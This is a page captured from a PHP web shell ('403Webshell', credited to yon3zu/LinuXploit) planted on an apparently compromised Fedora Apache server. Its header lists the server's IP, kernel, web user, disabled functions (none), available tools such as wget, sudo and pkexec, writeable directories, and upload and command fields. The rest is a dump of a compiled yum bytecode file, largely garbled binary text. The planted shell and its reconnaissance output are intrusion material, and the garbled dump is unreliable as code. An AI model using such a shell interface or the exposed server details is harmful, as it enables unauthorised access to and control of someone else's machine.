403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/yum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/yum/repos.pyo
7Jc@sddkZddkZddkZddkZddkZddkZddklZddkl	Zdd
dYZ
dddYZddd	YZdS(
iN(tMetaSack(tproxyt_wrap_ayum_getKeyForRepocBs#eZdZdZddZRS(sc This is a wrapper for calling YumBase.getKeyForRepo() because
        otherwise we take a real reference through the bound method and
        that is d00m (this applies to YumBase and RepoStorage, hence why
        we have a seperate class).
        A "better" fix might be to explicitly pass the YumBase instance to
        the callback ... API change! cCst||_dS(N(tweakreftayum(tselfR((s-/usr/lib/python2.6/site-packages/yum/repos.pyt__init__#scCs|ii||S(N(Rt
getKeyForRepo(Rtrepotcallback((s-/usr/lib/python2.6/site-packages/yum/repos.pyt__call__%sN(t__name__t
__module__t__doc__RtNoneR
(((s-/usr/lib/python2.6/site-packages/yum/repos.pyRs	tRepoStoragecBseZdZdZddZdZdZdZdZ	dZ
dZd	Zd
Z
dZdZd
ZdZdZdZdZdZdZdZdZdddddZRS(sXThis class contains multiple repositories and core configuration data
       about them.cCsh|_d|_d|_t|_tid|_t	|_
t||_t
||_d|_g|_h|_dS(Nisyum.RepoStorage(treposRR	tcacheRtpkgSacktloggingt	getLoggertloggertFalset_setupRRRtgpg_import_functconfirm_funct_cache_enabled_repostquick_enable_disable(RR((s-/usr/lib/python2.6/site-packages/yum/repos.pyR,s						cCs|iiid|djo|i}n|i|}t|djo|iidnx?|D]7}|i	|ii
i|iid|i
d|iqmWt|_|iiiddS(Ntprereposetupis#No Repositories Available to Set UpRRt
postreposetup(RtpluginstrunRtlistEnabledt	findRepostlenRtdebugtsetuptconfRtmediagrabberRRtTrueR(RtthisrepoRR((s-/usr/lib/python2.6/site-packages/yum/repos.pytdoSetupBs
	cCst|iiS(N(tstrRtkeys(R((s-/usr/lib/python2.6/site-packages/yum/repos.pyt__str__UscCs|idS(N(tclose(R((s-/usr/lib/python2.6/site-packages/yum/repos.pyt__del__XscCs(x!|iiD]}|iqWdS(N(RtvaluesR-(RR((s-/usr/lib/python2.6/site-packages/yum/repos.pyR-[scCs}|ii|iotid|in||i|i<t|do#|ii|i|i|_n
d|_	dS(Ns;Repository %s is listed more than once in the configurationR(
Rthas_keytidtErrorstDuplicateRepoErrorthasattrRtupdateRR(Rtrepoobj((s-/usr/lib/python2.6/site-packages/yum/repos.pytadd_scCs<|ii|o%|i|}|i|i|=ndS(N(RR0R-(RtrepoidR(((s-/usr/lib/python2.6/site-packages/yum/repos.pytdeleteis

cCs|ii}|i|S(N(RR/tsort(Rtrepolist((s-/usr/lib/python2.6/site-packages/yum/repos.pyR:os
cCs;y|i|SWn%tj
o}tid|nXdS(Ns:Error getting repository data for %s, repository not found(RtKeyErrorR2t	RepoError(RR8te((s-/usr/lib/python2.6/site-packages/yum/repos.pytgetRepots
cCsg}x||idD]k}|i}titi|i}x;|iiD]*\}}||o|i	|qSqSWqW|S(s0find all repositories matching fnmatch `pattern`t,(
tsplittstriptretcompiletfnmatcht	translatetmatchRtitemstappend(RtpatterntresulttitemRGtnameR((s-/usr/lib/python2.6/site-packages/yum/repos.pyR!{s
cCsg}ti|p|iddjo8x^|i|D] }|i|i|iq<Wn*|i|}|i|i|i|S(sdisable a repository from use
        
        fnmatch wildcards may be used to disable a group of repositories.
        returns repoid of disabled repos as list
        R@i(tmisctre_globtfindR!RIR1tdisableR?(RR8RRR(((s-/usr/lib/python2.6/site-packages/yum/repos.pytdisableRepos&
cCsg}ti|p|iddjo8x^|i|D] }|i|i|iq<Wn*|i|}|i|i|i|S(senable a repository for use
        
        fnmatch wildcards may be used to enable a group of repositories.
        returns repoid of enables repos as list
        R@i(RNRORPR!RIR1tenableR?(RR8RRR(((s-/usr/lib/python2.6/site-packages/yum/repos.pyt
enableRepos&
cCs|idj	o|io|iSg}x5|iiD]$}|io|i|q9q9W|i|idj	o||_|iin|S(s#return list of enabled repo objectsN(	RRRRR/t	isEnabledRIR:tclear(Rt
returnlistR((s-/usr/lib/python2.6/site-packages/yum/repos.pyR s

	cCs<g}x/|iD]!}|io|i|qqW|S(s6return a list of repo objects that have groups enabled(R tenablegroupsRI(RRWR((s-/usr/lib/python2.6/site-packages/yum/repos.pytlistGroupsEnableds

cCs0||_x |iiD]}||_qWdS(ssets cache value in all reposN(RRR/(RtcachevalR((s-/usr/lib/python2.6/site-packages/yum/repos.pytsetCaches	cCs3x,|iiD]}|i|_||_qWdS(s$sets the cachedir value in all reposN(RR/tbasecachedirtold_base_cache_dir(RtcachedirR((s-/usr/lib/python2.6/site-packages/yum/repos.pytsetCacheDirscCs+x$|iiD]}|i|qWdS(s6sets the progress bar for downloading files from reposN(RR/tsetCallback(RtobjR((s-/usr/lib/python2.6/site-packages/yum/repos.pytsetProgressBarscCs+x$|iiD]}|i|qWdS(s'sets the failure callback for all reposN(RR/t
setFailureObj(RRaR((s-/usr/lib/python2.6/site-packages/yum/repos.pytsetFailureCallbackscCs+x$|iiD]}|i|qWdS(s)sets the failure callback for all mirrorsN(RR/tsetMirrorFailureObj(RRaR((s-/usr/lib/python2.6/site-packages/yum/repos.pytsetMirrorFailureCallbackscCs+x$|iiD]}|i|qWdS(N(RR/tsetInterruptCallback(RR	R((s-/usr/lib/python2.6/site-packages/yum/repos.pyRgscCs|iS(N(R(R((s-/usr/lib/python2.6/site-packages/yum/repos.pytgetPackageSackstenabledtmetadataic
Cs|ip|in|p
|i}ng}|djo|i}n|djo|ii}nt|tijoRx|D]C}t	|t
o|i|q|i|}|i|qWn7t|ti
jo |i|}|i|n|djodddg}n
|g}xF|D]>}|i}	|	i|||||ii|i|	q=WdS(s
        This populates the package sack from the repositories, two optional 
        arguments:
            - which='repoid, enabled, all'
            - mdtype='metadata, filelists, otherdata, all'
        RitallRjt	filelistst	otherdataN(RR)R	R RR/ttypettypestListTypet
isinstancet
RepositoryRIR?t
StringTypeRhtpopulateRtaddSackR1(
RtwhichtmdtypeR	t	cacheonlytmyreposRtrepobjtdatatsack((s-/usr/lib/python2.6/site-packages/yum/repos.pytpopulateSacks6




	N(RRR
RRR)R,R.R-R7R9R:R?R!RRRTR RYR[R_RbRdRfRgRhR}(((s-/usr/lib/python2.6/site-packages/yum/repos.pyR(s.					
				
												RrcBseZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdZdZdZddedZddedZRS(s#this is an actual repository objectcCs)||_h|_|it|_dS(N(R1RRQRt_xml2sqlite_local(RR8((s-/usr/lib/python2.6/site-packages/yum/repos.pyRs		
cCs8|i|ijodS|i|ijodSdSdS(sf Sort base class repos. by alphanumeric on their id, also
            see __cmp__ in YumRepository(). iiiN(R1(Rtother((s-/usr/lib/python2.6/site-packages/yum/repos.pyt__cmp__"s
cCs|iS(N(R1(R((s-/usr/lib/python2.6/site-packages/yum/repos.pyR,,scCs
t|iS(N(thashR1(R((s-/usr/lib/python2.6/site-packages/yum/repos.pyt__hash__/scCs|idS(N(R-(R((s-/usr/lib/python2.6/site-packages/yum/repos.pyR.2scCsdS(N((R((s-/usr/lib/python2.6/site-packages/yum/repos.pyR-5scCst|||dS(s+sets a generic attribute of this repositoryN(tsetattr(Rtkeytvalue((s-/usr/lib/python2.6/site-packages/yum/repos.pytsetAttribute8scCst||dS(N(tgetattrR(RR((s-/usr/lib/python2.6/site-packages/yum/repos.pytgetAttribute<scCs |id}|dj	o|S(NRi(RR(RRi((s-/usr/lib/python2.6/site-packages/yum/repos.pyRU?scCs$|iddt|i|i<dS(NRii(RR'RR1(R((s-/usr/lib/python2.6/site-packages/yum/repos.pyRSCscCs$|iddt|i|i<dS(NRii(RRRR1(R((s-/usr/lib/python2.6/site-packages/yum/repos.pyRQGscCs|id}|pgS(Ntexclude(R(RtexcludeList((s-/usr/lib/python2.6/site-packages/yum/repos.pytgetExcludePkgListKscCs|id}|pgS(Ntincludepkgs(R(RtincludeList((s-/usr/lib/python2.6/site-packages/yum/repos.pytgetIncludePkgListOscCs
tdS(N(tNotImplementedError(R((s-/usr/lib/python2.6/site-packages/yum/repos.pytreadyTscCs
tdS(N(R(R((s-/usr/lib/python2.6/site-packages/yum/repos.pytgetGroupLocationWscCs
tdS(N(R(R((s-/usr/lib/python2.6/site-packages/yum/repos.pyRhZscCs
tdS(N(R(RR((s-/usr/lib/python2.6/site-packages/yum/repos.pyR$]scCs
tdS(N(R(RR	((s-/usr/lib/python2.6/site-packages/yum/repos.pyR``scCs
tdS(N(R(RRa((s-/usr/lib/python2.6/site-packages/yum/repos.pyRccscCs
tdS(N(R(RRa((s-/usr/lib/python2.6/site-packages/yum/repos.pyRefscCs
tdS(N(R(Rtpackaget	checkfuncttextR((s-/usr/lib/python2.6/site-packages/yum/repos.pyt
getPackageistsimplecCs
tdS(N(R(RRRtregetR((s-/usr/lib/python2.6/site-packages/yum/repos.pyt	getHeaderlsN(RRR
RRR,RR.R-RRRURSRQRRRRRhR$R`RcReRR'RR(((s-/usr/lib/python2.6/site-packages/yum/repos.pyRrs.		
																		((((
RCRERoRRNR2tpackageSackRRRRRRr(((s-/usr/lib/python2.6/site-packages/yum/repos.pyt<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit